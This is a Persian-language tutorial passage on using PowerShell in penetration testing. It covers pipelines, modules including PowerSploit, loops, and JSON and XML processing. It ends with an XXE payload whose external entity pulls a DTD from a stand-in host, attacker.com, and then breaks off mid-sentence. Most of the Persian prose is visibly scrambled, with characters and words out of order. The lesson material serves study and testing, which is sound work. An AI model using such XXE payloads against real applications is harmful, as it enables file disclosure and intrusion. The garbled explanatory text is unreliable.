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Programming Principles in PowerShell 

ها از به داده  دنیو معنا بخش  یاستخراج، دستکار ییاست. توانا تیموفق اتیح ه یتست نفوذ، اطلاعات ما ی ایدر دن

م  به معنای منابع مختلف  ب  یتواند  امن  ک ی  ن یتفاوت  ا  ستم یس   ک یو    یتینقض  در  باشد.  به    ن یامن  فصل مهم، 

و ارتباط    ،یسینوپتیو زبان اسکر  کروسافتیکاره ما، پوسته خط فرمان همهPowerShellقدرتمند    یهاتیقابل

فصل    ن یداده در ا  یها. فرمتمیپردازی م   XML  و   JSONمهارت آن در برخورد با    ژهیوآن با تست نفوذ، به   قیعم

 :، عبارتند ازمیپردازی م  ریبه موارد ز

• PowerShell’s versatility in penetration testing 

• Navigating JSON and XML with PowerShell 

• Automation, integration, and reporting 

PowerShell  به    گراننفوذ   برای تست  مناسبیخود را به عنوان ابزار    گاهیجا  لازم،   یی و کارا  یسازگار  لیبه دل

  ن ی برخوردار است. ا  ییبالا  تیاز اهم  نه ی زم  ن یدر ا  XMLو    JSONگسترده آن از    یبانیدست آورده است. پشت

وب    یهاسیسرو  ایها  برنامه   ها،ستم یدر س   یاتیاطلاعات ح  یداده در همه جا وجود دارند و اغلب حاو  یهافرمت 

 کامل در طول تست نفوذ دارند.  لیو تحل  هی به تجز ازیهستند که ن

  ی ها و عملکردها  cmdletاز    ی که چگونه مجموعه غن  می کن  ی کرد تا بررس   م یاز خواهرا آغ  ی فصل، ما سفر  ن یدر ا

PowerShell  ،یهاتا داده   سازدی را قادر م  تست نفوذگر  JSON    وXML    و    هی تجز  ش،یمایپ  کپارچهی را به طور

  ی عمل  نشیخام و ب  یهاداده  نیب  یپل  ان به عنو  PowerShellکرد که چگونه    میکنند. ما کشف خواه  یدستکار

، به  XML یهایکربند یپ حی گرفته تا تشر  JSON یهاد. از استخراج اطلاعات حساس مدفون در پاسخگیر ی م قرار

 .افتی د یدست خواه ،هات یقابل نیاز نحوه استفاده مؤثر از ا یدرک جامع

و گزارش    یساز  کپارچهی  ون،یاتوماس   قیاز طر   PowerShellرا که    ی میارزش عظ  م،یکنی م   شرفتیهمانطور که پ

با    PowerShellمعمول، ادغام    ف یوظا  یکرد. ما نحوه خودکارساز  م یآورد، کشف خواهی ساده به جدول م  یده

و    JSON  یهانفعان را با پردازش داده یذ  یبرا   مناسب  یها گزارش   جادی تست نفوذ، و ا  یهاابزارها و چارچوب   ریسا

XML  کرد.  م یکشف خواه 

ا ن  یهافصل، ما شما را به دانش و مهارت   نیدر  از    یبرا  ازیمورد  سلاح    ک یبه عنوان    PowerShellاستفاده 

م مجهز  نفوذ خود  تست  زرادخانه  در  برامیکنی قدرتمند  داده   ی.  قدرت  از  ظرافت، کشف  استفاده  و  دقت  با  ها 

 . د یهدف خود آماده شو یهاستمیس  تی امن ت یها و تقویریپذ بیآس 

 است: ر یها پرداخته خواهد شد به شرح زفصل به آن  نیکه در ا  یموضوعات

• Basic concepts of PowerShell and pipeline in PowerShell 
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• JSON in PowerShell 

• XML in PowerShell 

• Component Object Model (COM), Windows Management Instrumentation 

(WMI), and .NET in PowerShell 

Basic concepts of PowerShell and pipelines in PowerShell 

PowerShell   و ساده    ی ادار  فیوظا  یخودکارساز  ی همه کاره و قدرتمند است که برا  ی سیزبان برنامه نو  کی

  کروسافت یشده است. پاورشل که در ابتدا توسط ما  یطراح  ندوزیو  یهاط یمح  یایدر دن  ده یچیپ  ی ندهایفرآ  یساز

  ی متخصصان فناور  نیگسترده و سهولت استفاده به سرعت در ب   یهات یقابل  ل یمنتشر شد، به دل  2006در سال  

  ی سنت  یها   Shellفراتر از    بسیار   PowerShellکرد.    دای پ  تیو توسعه دهندگان محبوب  ستمیس   رانیاطلاعات، مد 

ترک با    ک ی  ب یبا  فرمان  نو  ک یرابط خط  برنامه  م  یس یزبان  عنوان  ابد یی گسترش  به  نو  ک ی.  برنامه    ی سیزبان 

 کند:ی م یبانیپشت ریز یاز ساختارها PowerShellاستاندارد، 

• Sequence 

• Selection 

• Iteration 

• Encapsulation 

  ی با اجزا  یساز  کپارچهیساخته شده است و امکان    Net Framework.  یبر رو   PowerShellدر هسته خود،  

  یهاآن از زبان  یسینوپتیو اسکر   ی نحو   یهات یکند. قابلی شخص ثالث را فراهم م   یهاو کتابخانه   ندوز ی و  ستمیس 

  کروسافت یما  ستم یآشنا با اکوس   دهندگانتوسعه   ی و آن را برا  شودی گرفته م  تیشارپ به عار  ی مانند س   ی محبوب

توانند به لطف مدل  ی ندارند، م یاگسترده   یسیکه دانش برنامه نو  یکسان ی حال، حت  ن ی. با اکند ی قابل دسترس م

 استفاده کنند. PowerShellآن، از قدرت   یبصر  یسینو پتیاسکر

  افتهیساخت  یهاآسان داده  یو دستکار اءیاش  تیریآن در مد  ییتوانا  PowerShellبرجسته  یهای ژگیاز و  یکی

  PowerShellسروکار دارند،    یمتن   یهاانیکه عمدتاً با جر  یسنت  Shell  ی سینو  پتیاسکر  یهااست. برخلاف زبان 

ها را  داده   یگرا دستکاریش   کرد یرو  نیرد. ایگی ها در نظر ممتد و    ها  Propertyبا    ییایاطلاعات را به عنوان اش 

عمل  نموده ساده   پذ   دهی چیپ  اتیو  امکان  را  کد  حداقل  مجموعه    یدارا  نیهمچن  PowerShellکند.  ی م  ریبا 

پ  cmdletاز    یاگسترده  از  که دستورات  است  شده  شیها  ط   یبرا  یاساخته  وظا  یاگسترده   فیانجام    ف یاز 

آرا  هستند.  ستم یس   تیریمد  م   یها  cmdletاز    ی عیوس   ه یبا  کاربران  وظای موجود،  مانند    ی فیتوانند 

  ی به نوشتن کد سفارش   ازیشبکه را بدون ن  یکربند یو پ  ی ستریرج  یدستکار  ند،یکنترل فرآ   ل،یفا  تیریمد 

 از ابتدا انجام دهند.
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ا بر  س   PowerShell  ن،یعلاوه  به  نم  ندوزیو  یهاستم یتنها  ظهور  ی محدود  با    PowerShell Coreشود. 

  گر یو د  macOS  ،Linuxاز    ی بانیپشت  کروسافتیشود(، مای شناخته منیز    PowerShell 7به عنوان    نی)همچن

به  پلتفرم  را  آن  و  داد  گسترش  را  پلتفرم  کیها  چند  واقعاً  حل  برا  لیتبد   یراه  رو   نیا  یکرد.  ما    ی کتاب، 

PowerShell 7 میکنی تمرکز م .PowerShell 7  د یکن   دایپ ریز  نکیدر ل  د یتوانیرا م: 

 https://github. com/PowerShell/PowerShell. 

راه    ک یبه عنوان    PowerShellشود،  ی م  یاطلاعات ضرور  یمدرن فناور   یهاط یدر مح  ونیهمانطور که اتوماس 

در زمان ارزشمند    ییو صرفه جو  یانسان  یکاهش خطا  ،ی تکرار   یکارها  یو خودکارساز  یهماهنگ   یبرا  شرویحل پ

ها، آن را به    cmdletگرا و مجموعه گسترده  ی ش   کردیرو  ، یغن  ی سینو  پتیاسکر  یهات یشود. قابلی برجسته م 

 کرده است.  لیتبد   ندوزیبر و یمبتن  یهاستمیموثر س  یو نگهدار  تیریمد  ی برا ی ضرور یابزار

  ی با بررس   میتوانی . ما م میکه در حال اجراست شروع کن   PowerShellنسخه    ییبا شناسا  د یاجازه ده  ن،یبنابرا

 :میابیامر دست   نیبه ا PSVersionTable$ ی محل ریمتغ

 

  یی اجرا  استیما درک س   یقدم بعد   م،یدانی هدف را م   ستمیس   یدر حال اجرا بر رو   PowerShellاکنون که نسخه  

موارد    م یتوانی هدف م  نیبه ا  دن یرس   ی . براکند ی م  یسازاده یپ  PowerShell  یهاپتیاسکر  ی است که هدف برا

 : میرا اجرا کن ریز



 
 

 
 

 م دوبخش   –پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  فناورانه صبا شرکت دهکده امن  

 

PowerShell  یهاپتیاسکر  یاجرا  یی است. توانا  یسیزبان برنامه نو  ک ی  PowerShell  ن یتوان در ماش ی را م  

 : می استفاده کن ریاز دستور ز م یتوانی م PowerShellفعال کردن  یکرد. برا  رفعالیغ ایفعال   یمحل

 

را    ییهاماژول   د یبا  م،یکرد جادیمورد نظر ا  ستم یرا در س   PowerShell  یهاپتیاسکر  یاجرا  یی که توانا  یهنگام

برا شناسا  یکه  هستند  ما  دسترس  در  نصب  و  برامیکن  ییدانلود  افزار،    یبانیپشت  ی .  نرم  از  مجدد  استفاده  از 

PowerShell   ماز ماژول از دستور    یهاول همه ماژ  م یتوانی کند. ما می ها استفاده  با استفاده  -findموجود را 

module  نه یرا با استفاده از گز  ی د یکلمه کل  ک ی  یماژول حاو  کی   توانی که م   ییجا   ، میفهرست کن  tag    به

 جستجو کرد:  ر یصورت ز

 

آن را دانلود و   Install-Moduleبا استفاده از دستور  م یتوانی م م، یکرد ییشناسامورد نظر را  که ماژول  یهنگام

 :میکنی را دانلود و نصب م SSHدر ادامه ماژول    نی. بنابرامی نصب کن

 

ها را از    cmdletیا    . در ادامه توابع میکن  Import  ماًیرا مستق   PowerShellماژول    کی  م یتوانی م  نیما همچن

دستور را در    نیا  د ی، باPowerShellماژول    ک ینصب    ی . برامیکنی م  PowerSploit.psd1  ،Importماژول  

PowerShell  سطح دسترسیبا administrator  یاroot د یاجرا کن : 
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-cmdlet Get  قیرا که از طر  ییها  cmdletیا    توابع  م یتوانی م  م،یماژول را وارد کن  کی  میتوانی که ما م  یهنگام

Command  در ادامه، از  میکن  ید، بررس شونی م  یبانیپشت .cmdlet Get-Command  توابع    ییشناسا  یبرا

 کرد:  م یاستفاده خواه SSHشده توسط ماژول   یبانیپشت

 

. در ادامه  میکن  ییشناسا  get-helpرا با استفاده از دستور    PowerShellنحوه استفاده از ماژول    میتوانی ما م

 کرد:  م یخواه بررسیرا  Get-Locationنحوه استفاده از  

 

مرتبط با پاورشل    ی سیبرنامه نو  یبه ساختارها  د یاجازه ده  م، یها را آموختاکنون که نحوه نصب پاورشل و ماژول 

انواع داده   رها ی، متغPowerShell 7. در  میندازیب  ینگاه ها داده   ی و دستکار  یسازره یدر ذخ  یها نقش مهمو 

متغ محفظه به   رها یدارند.  حال  کنند، ی م  لعم  ریمقاد   ینگهدار  یبرا  ییهاعنوان  داده   یدر  انواع  ماهکه  و    تیها 

  ی سینو  پتیاسکر  یها براو انواع داده  رهای . درک نحوه کار با متغکنند ی م   فی را تعر  شدهره یذخ  یهاداده   یهای ژگیو

 است. یموثر اساس  ونیو اتوماس 

  ا یپو  پیزبان تا  ک ی  PowerShellشوند.  ی م  جادیا  ریو نام متغ   $با استفاده از نماد    PowerShellدر    رهایمتغ

. نوع داده بر اساس  ستیقبل از استفاده از آن ن   ر یمتغ  ک ینوع داده   حیصر  ف یبه تعر ی ازیکه ن  ی معن نیاست، به ا

  ری به شرح ز  PowerShellدر    ج یرا  یهاداده   اع از انو  ی شود. برخ ی م  ن ییتع  ر یداده شده به متغ  ص یمقدار تخص

 است: 

Boolean :تواند ی م ی بول ریمتغ  کیشود. ی استفاده م ینریحالت با  ف یتعر  یبرا  نیاTrue ای  False .باشد 

Strings  :تک کوتیشن یا دابل  توان با استفاده از  یها را مشود. آن ی کاراکترها استفاده م  ایمتن    رهیذخ  ی برا  نیا

 کرد:  ف یتعر  کوتیشن
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$name = "Andrew Blyth" 

Integers :شود:ی اعداد کامل استفاده م  رهیذخ ی برا ن یا 

$age = 57 

Arrays :شود: ی استفاده م ریمتغ  کی مقدار در  نیچند  رهیذخ ی برا ن یا 

$myfruits = @("apple", "banana", "orange") 

Hash tables :یهاجفت  ره یذخ  یها بران یا Key/Value شوند:ی استفاده م 

$person = @{ 
       Name = "Andrew Blyth" 
       Age = 57} 

ها را به طور موثر  سازد تا داده ی شما را قادر م PowerShell 7ها به طور موثر در و انواع داده رهایاستفاده از متغ

  ت یریمد   ون،یاتوماس   یقدرتمند برا  یو آن را به ابزار   د یکن  تیریو مد   یدستکار  ره،یخود ذخ  یهاپتیدر اسکر

 کند.ی م ل یپردازش داده تبد  فیو وظا ستمیس 

از کد    یخاص  یهادهد تا بلوک ی است که به شما اجازه م  یاساس   ی ساختار کنترل  کی  if، دستور  PowerShellدر  

  ف یوظا  یها و خودکارسازپتیدر اسکر  یر یگ  می تصم  یمعمولاً برا این دستور  .  د یخاص اجرا کن  ط یرا بر اساس شرا

 ساده است:  ifدستور    مربوط به Syntaxشود. ی استفاده م

if (condition) { 
        # Code block to execute if the condition is true 
} 

استفاده کرد. فرض    PowerShellتوان در  ی را م  ifچگونه دستور    میتا نشان ده   میکن   ی چند مثال را بررس   د ییایب

اغلب    Test-Path.  ریخ  ا یوجود دارد    ل یفا  ک ی  ایکه آ د یکن  ی بررس   ی قبل از انجام اقدامات بعد   د یخواهی م  د یکن

 شود: یاستفاده م  ifهمراه با دستور 
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$file = "C:\mydatafile.txt" 
if (Test-Path $file) { 
        Write-Host "The file exists!" 
} else { 
        Write-Host "File not found."} 

حلقه PowerShellدر   ساختارها،  و  ساختارها  یها  امکان    یات یح  یکنترل  انیجر  یتکرار  شما  به  که  هستند 

  ی خودکارساز   یها براحلقه   نی. اد یمشخص شده اجرا کن  ط یبلوک کد را به طور مکرر بر اساس شرا  کی  دهند ی م

هستند.    یاتیاست، ح  یتکرار  یهااتیها و انجام عملها، پردازش دادهمجموعه   قیکه شامل تکرار از طر  یفیوظا

PowerShell  ساختار حلقه مانند  نیچندfor ،foreach  ،while  ،do...while    دهد که ما  ی را ارائه م غیرهو

 : نمودها به طور موثر استفاده توان از آن ی چگونه م میکرد تا بفهم  م یخواه ی بررس  ییهابا مثال

for : حلقهfor که تعداد    ی معمولاً زمان. این دستور شودی استفاده م یبلوک کد در تعداد مشخص  کی  ی اجرا ی برا

عبارت تکرار   ک یشرط و   کی  ه،یمقدار اول ک یشامل  for. ، بسیار مفید استد یدانیرا م  از یمورد ن ی تکرارها ق یدق

 است: 

for ($i = 1; $i -le 5; $i++) { 
      Write-Host "For loop iteration: $i"} 

foreach  :  حلقهforeach  کی( و انجام  رهیها و غستی ها، ل ه یمجموعه )آرا  ک ی   یهاتم یآ  انیتکرار در م   ی برا  

 شود:ی هر عنصر در مجموعه تکرار م ق یبه طور خودکار از طر شده و استفاده  تم یهر آ یعمل برا

$fruits = @("Apple", "Banana", "Orange") 
foreach ($fruit in $fruits) { 
      Write-Host "I like $fruit"} 

while :    حلقهwhile  بماند.    ی شرط درست باق  ک یکه    ی کند تا زمانیبلوک کد را به طور مکرر اجرا م   ک یwhile  

 کند:ی م ی ابیرا ارز ط یقبل از هر تکرار به طور مداوم شرا
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$i = 1 
while ($i -le 5) { 
      Write-Host "While loop iteration: $i" 
      $i++} 

do...While:    حلقهdo...while    مانند حلقهwhile    دارد: ابتدا بلوک کد را اجرا    ید یتفاوت کل  کیاست، اما

 بار اجرا شود:  ک یکند که حلقه حداقل ی م نیتضم نیکند. ای م یرا بررس  ط یکند و سپس شرای م

$i = 1 
do { 
      Write-Host "Do...While loop iteration: $i" 
      $i++ 
} while ($i -le 5) 

ForEach-Object (Loop Pipeline):    حلقه بر  مبتن  ک ی  foreach  ،PowerShellعلاوه  بر    ی حلقه 

pipeline    از امکان م  نیدهد. ای ارائه م  ForEach-Objectبا استفاده  از طر  ییایدهد اش یبه شما    ق یرا که 

pipeline د یپردازش کن یکی یکی شوند ی منتقل م: 

$numbers = 1..5 
$numbers | ForEach-Object { 
      Write-Host "Pipeline Loop: $_"} 

PowerShell   یاز ساختارها  یغن  یامجموعه  loop/repeat  ی دهد کارهای دهد که به شما امکان می را ارائه م  

خود را به طور موثر کنترل    یهاپت یاسکر  انیو جر  کردهداده را پردازش    یهامجموعه  د،یرا خودکار کن  یتکرار

کند. هنگام  ی و قدرتمندتر م کاراتررا  اشم PowerShell یهاپتیساختارها، اسکر ن ی. درک و استفاده از انمایید 

حلقه  از  حلقه استفاده  به  باش   تینهای ب  یهاها،  داشته  توجه  برا   د یبالقوه  هم  ان یجر  ت یریمد   ی و  خود،    شه یکد 

 .د یرا درج کن continue  ای break یهاعبارت

JSON in PowerShell 

ها و  یریپذ ب یآس   ییشناسا  ی برا  ی واقع  ی ایحملات دن  یساز  ه ی است که شامل شب  یات یح  ت یفعال  ک ی تست نفوذ  

  در   یقدرتمند بوم   ی سیزبان برنامه نو  ک ی،  PowerShellشبکه است.    ای   ستمیس   ک ینقاط ضعف در  

 یهاس یسروتعامل با    ییگسترده و توانا  ونیاتوماس   یهاتیقابل  ،یریانعطاف پذ   لیبه دل  ندوز،یو  ط یمح

  PowerShellبخش، نحوه استفاده از    ن یاست. در ا  گران نفوذ  تست  ی ارزشمند برا  ی ها، ابزار   APIوب و  
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  ی ابیمانند باز  ییوهایکرد. ما سنار  م یخواه  ی بررس را  از تست نفوذ    ی به عنوان بخش  JSON  یهاداده   ت یریمد   یبرا

  ی و دستکار  JSON  اءیاطلاعات ارزشمند از اش ، استخراج  JSON  یهاپاسخ  ه ی وب، تجز  ی هاAPIاز    JSON  یهاداده 

 داد. می را پوشش خواه یشیاهداف آزما یبرا JSON پیلودهای

Retrieving JSON Data from Web APIs 

برا  اغلب  نفوذگران  آور  یتست  ارز  ایاطلاعات    ی جمع  با    ازین  ، یابیانجام  تعامل  از    یها  APIبه  دارند.  وب 

PowerShell  درخواست ارسال  ی توان برا ی مHTTP   بهAPIیهاداده  ی ابیها و باز JSON کار   ن یاستفاده کرد. ا

ها را  پاسخ  تیریو مد   HTTP  یهادرخواست  جادیا  ند ی، که فرآInvoke-RestMethodتوان با استفاده از ی را م

 کند، به دست آورد: ی ساده م

$repoUrl = "https://api.snowcapcyber.com/repo" 
$response = Invoke-RestMethod -Uri $repoUrl 
$response 

مشخص شده    URLبه    InvokeRestMethodرا با استفاده از    HTTP GETدرخواست    ک یمثال، ما    نیدر ا

م قالب  میکنی ارسال  در  پاسخ   .JSON    و بود  را    PowerShellخواهد  آن  خودکار  طور    ی ش   ک یبه  به 

PowerShell  خواهد کردتر ها را آسان داده   یو دستکار  یامر دسترس  نیکند. ای م لیتبد . 

Parsing JSON Data 

 ،PowerShellشود.    هیاستخراج اطلاعات خاص تجز  یبرابایست  این اطلاعات می ،  JSON  یهاداده   یابیپس از باز

ConvertFrom-Json  یهاداده   لیتبد   یرا برا  JSON   اءیبه اش  PowerShell  به    یدسترس   ایجاد نموده که

مخزن را    حات یو توض  نام تا    نموده   ه یتجز  API GitHubرا از    JSONپاسخ    د ییایکند. بی عناصر جداگانه را آسان م

 : میاستخراج کن 

$repoUrl = "https://api.snowcapcyber.com/repo" 
$response = Invoke-RestMethod -Uri $repoUrl 
$repoObject = ConvertFrom-Json $response 
Write-Host "Repository Name: $($repoObject.name)" 
Write-Host "Description: $($repoObject.description)" 
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ا از    نیدر  ما  نام    PowerShell  یش   ک یبه    JSONپاسخ    لیتبد   یبرا   ConvertFrom-Jsonمثال،  به 

$repoObject   حات یمانند نام مخزن و توض  ،یاز ش   یخاص  یهای ژگیبه و  میتوانی سپس م.  میکنیاستفاده م  

 . میداشته باش  یدسترس 

JSON Manipulation for Payloads 

دستکار نفوذ،  تست  طول  به   یضرور     JSON  یهاداده   ی در  ساخت    ژه یواست،    ش یآزما  ی برا   پیلودهاهنگام 

  پیلود   کی  د ییایاصلاح و ارسال کند. ب  جاد،یرا ا  JSON  پیلودهای  یتواند به راحتی م  PowerShellوب.    یهابرنامه 

JSON  درخواست   ک ی یبراHTTP POST  کیبه  API  می کن جادیا ریپذ بیآس : 

$payload = @{ 
      "username" = "admin" 
      "password" = "P@ssw0rd123" 
} | ConvertTo-Json 
$headers = @{ 
      "Content-Type" = "application/json" } 
Invoke-RestMethod -Uri "https://snowcapcyber.com/api/login" -Method 
Post -Body $payload -Headers $headers 

.  میکنی م   فیو رمز عبور تعر  ینام کاربر  یلدهایرا با ف  payload$به نام    PowerShellمثال، جدول هش    نیدر ا

از به    لیتبد   یبرا    ConvertTo-Jsonسپس  هش  م  JSON  پیلود   ک یجدول  -Invoke.  میکنی استفاده 

RestMethod ،  پیلود JSON  درخواست   ک یرا درHTTP POST  بهAPI   کند.ی م ارسالمشخص شده 

مقدار است که به  -د یکل   یها از جفت   یامجموعه یا جدول هش،    Hash Table  کی ،  PowerShellدر    نکته:

  ن ی. در اد یکن  رهیمانند، ذخ  ی کشنریو به صورت د  افته یها را به صورت ساختارکه داده   دهد ی امکان را م  نیشما ا

کل  hash table  ک ی  $payloadمثال،   جفت  دو  شامل  که  ) -د یاست  (  passwordو    usernameمقدار 

   .باشد می 

Interacting with JSON from Files 

  یبرا  یآسان  یهاراه   PowerShellها سروکار دارند.  لی شده در فا  رهیذخ  JSON  یهااغلب با داده   گراننفوذ   تست

داده  نوشتن  و  فا  JSON  یهاخواندن  م  هال یبه/از  بکند ی ارائه  از    JSON  یهاداده   د ییای.    ل یفا  کیرا 

 : می کن ره یذخ لیو سپس آن را در فا نموده اضافه  د یجد  یژگ یو  کی  م،یبخوان
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$jsonFilePath = "C:\path\to\file.json" 
$jsonData = Get-Content -Raw -Path $jsonFilePath | ConvertFrom-Json 
 
# Add a new property 
$jsonData | Add-Member -Name "role" -Value "admin" 
 
# Save updated JSON back to the file 
$jsonData | ConvertTo-Json | Set-Content -Path $jsonFilePath 

  Raw- پارامتر  در این مثال  .  میخوانی م  Get-Contentبا استفاده از    ل یفا  ک یرا از    JSON  یهامثال، داده   نیدر ا

  JSON  یشود. سپس محتوا ی رشته خوانده م   ک یاز خطوط، به عنوان    ه یآرا  کی  یکند که محتوا به جای م  نیتضم

از    ، یبه ش   د یجد   یژگ یو  ک ی  زودن. پس از افمیکنی م  ل یتبد   jsonData$به نام    PowerShell  یش   ک یرا به  

ConvertTo-Json  آن به فرمت  لیتبد  یبراJSON و با استفاده از    میکنی استفاده مSet-Content    آن را در

 . میکنی م  رهیذخ لیفا

Web Scraping and Data Extraction 

  یهاداده   ی از صفحات وب حاو  یبه استخراج اطلاعات خاص  ازیممکن است ن   نفوذگران تست    وها،یاز سنار  ی در برخ

JSON    .باشند باشد، محتوای م  PowerShellداشته  تعامل داشته  با صفحات وب  استخراج    JSON  یتواند  را 

استخراج    JSON  یهاداده   ی صفحه وب حاو  کیرا از    یاطلاعات   د یرا پردازش کند. اجازه ده  هاآن نموده و همچنین  

 : می ده شیو آن را نما  میکن

$url = "https://snowcapcyber.com/data.json" 
$response = Invoke-RestMethod -Uri $url 
$data = $response.data 
foreach ($item in $data) { 
        Write-Host "Name: $($item.name)" 
        Write-Host "Age: $($item.age)" 
        Write-Host "Occupation: $($item.occupation)" 
        Write-Host ""} 

ا از    نیدر  ما  شده    URLاز    JSON  یهاداده   یابیباز  ی برا   Invoke-RestMethodمثال،  مشخص 

 یهاکه داده   میکنی شود. ما فرض می م  رهیذخ  response$  ری. سپس پاسخ در متغمیکنی استفاده م
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JSON   یهای ژگیبا و  ایاز اش   یاه ی آرا  یحاو  Name  ،Age    وOccupation    حلقه    ک یهستند. ما ازforeach  

 . میکنی اطلاعات استخراج شده استفاده م شیو نما  هی در آرا یتکرار در هر ش  یبرا

PowerShell  یهاپردازش داده   یابزار ارزشمند برا  ک ی  JSON  ی بانیاز تست نفوذ است. پشت  ی به عنوان بخش  

، آن را به  JSON  یهاپاسخ  ه یتجز  یی وب، و توانا  یهادرخواست  جادی ، سهولت در اJSON  ی آن از دستکار  یبوم

برا  یانه یگز با    ی همه کاره    ک یکرده است. به عنوان    لیتبد   JSONبر    یوب مبتن  یهاس یها و سرو  APIکار 

  ی آورشما در جمع   ییتوانا  تواند ی م  PowerShellدر    JSON  یاه، درک نحوه پردازش مؤثر داده نفوذگرتست

 دهد.   ش یافزا یقابل توجه زان یمختلف را به م  یت یامن یهای ابیو انجام ارز هایریپذ بی از آس  یبرداراطلاعات، بهره 

XML in PowerShell 

 ییشناسا ی برا یواقع یایحملات دن  ی ساز هیاست که شامل شب ی بریسا ت یدر امن ی ات یح تیفعال  کیتست نفوذ 

همه کاره    ی سیزبان برنامه نو  کی،  PowerShellشبکه است.    ای  ستم یس   کیها و نقاط ضعف در  یریپذ بیآس 

پذ   لیبه دل  ندوز،یو  ط یمحدر    یبوم و    ونیاتوماس   یهات یقابل  ،یر یانعطاف  فرمت   ییتواناگسترده  با    ی هاتعامل 

جمله   از  داده،  ابزارXMLمختلف  برا  ی ،  ا  گراننفوذتست   ی ارزشمند  در  از    نی است.  استفاده  نحوه  بخش، 

PowerShell  یهاداده   تی ریمد   ی را برا  XML  یی وهایکرد. ما سنار  میخواه  ی نفوذ بررس از تست  یبه عنوان بخش  

  ی برا  XML  پیلودهای   ی دستکارو    XML  ی هاNodeاز    ارزشمند ، استخراج اطلاعات  XML  یهال یفا  ه یمانند تجز 

 داد.  میرا پوشش خواه یشیاهداف آزما

Reading and parsing XML files 

فا  گراننفوذ تست با  م  ریسا  ای  یکربند یپ  یهاداده   یحاو   XML  یهالیاغلب  مواجه  حساس  شوند. ی اطلاعات 

PowerShell  برا  کی ساده  تجز  یراه  و  از    XML  یهالی فا  هی خواندن  استفاده  با    Get-Contentبا  همراه 

Select-Xml  لیفا  کی  د ییایدهد. بی ارائه م  XML  م یبرنامه وب است، بخوان  کی   یکربند یپ  ماتیتنظ  یرا که حاو  

 : می کن ه یو تجز
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$xmlFilePath = "C:\MyData\config.xml" 
$xmlContent = Get-Content -Path $xmlFilePath 
$xmlDoc = [xml]$xmlContent 
$setting1 = $xmlDoc.configuration.setting1 
$setting2 = $xmlDoc.configuration.setting2 
Write-Host "Setting 1: $setting1" 
Write-Host "Setting 2: $setting2" 

ا   xmlFilePath$مشخص شده توسط    XML  لیفا  یخواندن محتوا   ی برا  Get-Contentمثال، ما از    ن یدر 

  XML ی. ش میفرستاد XML یش  کی[ به  xml. سپس محتوا را با استفاده از شتاب دهنده نوع ]میکنی استفاده م

  ی دسترس   XMLدر    ی فرد  یهای ژگیدهد تا به عناصر و وی شود، به ما اجازه می نشان داده م  xmlDoc$که با  

 . میداشته باش 

Extracting Information from XML Nodes 

را    ییهاراه   PowerShellهستند.    ی ژگیو و  Node  ن یتودرتو با چند   یاغلب شامل ساختارها  XML  یهالیفا

  ی اطلاعات  د یدهد. اجازه ده ی و استخراج اطلاعات ارزشمند ارائه م  ی سلسله مراتب یساختارها ن یدر ا ش یمایپ یبرا

 .  می کن ج مربوط به کارمندان است استخرا یهاداده  یکه حاو  XML  لیفا ک یرا از 

 :میکن  ف یرا تعر ریز  XML د ییایب

<employees> 
       <employee id="1"> 
               <name>Andrew Blyth</name> 
               <age>57</age> 
               <position>Manager</position> 
        </employee> 
</employees> 
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 : میکن  جادی پردازش آن ا ی را برا ری ز PowerShell م یتوانی م م، یکرد فیرا تعر یقبل XMLکه  یهنگام

$xmlFilePath = "C:\MyData\employees.xml" 
$xmlContent = Get-Content -Path $xmlFilePath 
$xmlDoc = [xml]$xmlContent 
$employees = $xmlDoc.employees.employee 
foreach ($employee in $employees) { 
      $id = $employee.id 
      $name = $employee.name 
      $age = $employee.age 
      $position = $employee.position 
      Write-Host "Employee ID: $id" 
      Write-Host "Name: $name" 
      Write-Host "Age: $age" 
      Write-Host "Position: $position" 
      Write-Host "" 
} 

  employees. سپس به گره  میکنی م  ه یخوانده و تجز  ی را با استفاده از روش قبل  XML  لیمثال، ما فا  نیدر ا

. در  میکنی را تکرار م  employeeهر گره    قی، از طرforeachحلقه    کیو با استفاده از   میکنی م  دایپ  یدسترس 

 .میدهی م  شیرا از هر گره استخراج کرده و نما تیمانند شناسه کارمند، نام، سن و موقع یداخل حلقه، اطلاعات

Modifying XML Data 

نفوذگران ن  تست  آزما  یخاص  یوهایدر سنار  XML  یهابه اصلاح داده   ازیممکن است  مانند  باشند،    ش یداشته 

  مات یتنظ  ی را که حاو  XML  ل یفا  ک ی  د ییای. بیتیامن  یهادور زدن کنترل   ا ی  یورود   یاعتبارسنج  یهایریپذ بیآس 

 .  میکن  رهیذخ ل یبه روز شده را در فا XMLو    میده  ریی کاربر است تغ
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 :میکن  ف یرا تعر ریز  XML د ییایب

<userSettings> 
      <setting name="theme" value="dark" /> 
      <setting name="language" value="en-US" /> 
</userSettings> 

 : میکن  جادی پردازش آن ا ی را برا ری ز PowerShell م یتوانی م م، یکرد فیرا تعر یقبل XMLکه  یهنگام

$xmlFilePath = "C:\MyData\settings.xml" 
$xmlContent = Get-Content -Path $xmlFilePath 
$xmlDoc = [xml]$xmlContent 
$xmlDoc.userSettings.setting | Where-Object { $_.name -eq "theme" } | 
ForEach-Object { 
      $_.value = "light"} 
$xmlDoc.Save($xmlFilePath) 

  ی برا  Where-Object cmdlet. سپس از  میکنی م  ه ی و تجز  میخوانی را مانند قبل م   XML  لیمثال، فا  ن یدر ا

  themeرا با نام    م یکه تنظ  ی . هنگاممیکنی استفاده م   name  ی ژگیبر اساس و  ماتی تنظ  یهاNodeکردن    لتریف

به روز شده    XML رهیذخ یبرا  Save متد از    تی. در نهامیدهی م   رییتغ   lightمقدار آن را به   یژگیو  م، یکرد  دایپ

 .میکنی استفاده م  ل یدر فا

Crafting XML Payloads 

  ق یمانند تزر  XMLبر    یمبتن  یهایریپذ ب یآس   شیآزما  ی برا  ی سفارش   XML  پیلودهای نفوذ، ساخت  در طول تست 

XML External Entity (XXE)  ب است.  برا   ک ی  ش یآزما  ی برا  XML  پیلود   ک ی  د ییایمعمول    ی برنامه 

 : میکن جاد یا XXE یهایریپذ بیآس 
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$payload = @" 
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> 
%remote; 
]> 
<root> 
      <data>Confidential information</data> 
</root> 
"@ 
# Save the payload to a file 
$payloadFilePath = "C:\MyData\payload.xml" 
$payload | Out-File -FilePath $payloadFilePath 

 Document  لیفا  کیکه    میکنی م  فیتعر  یخارج  تی اعلان موجود  کی  یحاو  XML  پیلود  کیمثال، ما    نیدر ا

Type Definition    یاDTD  یمعمول   پیلود  کی  نیکند. ای م ی را از سرور مهاجم واکش  XXE    پیلود است. سپس  

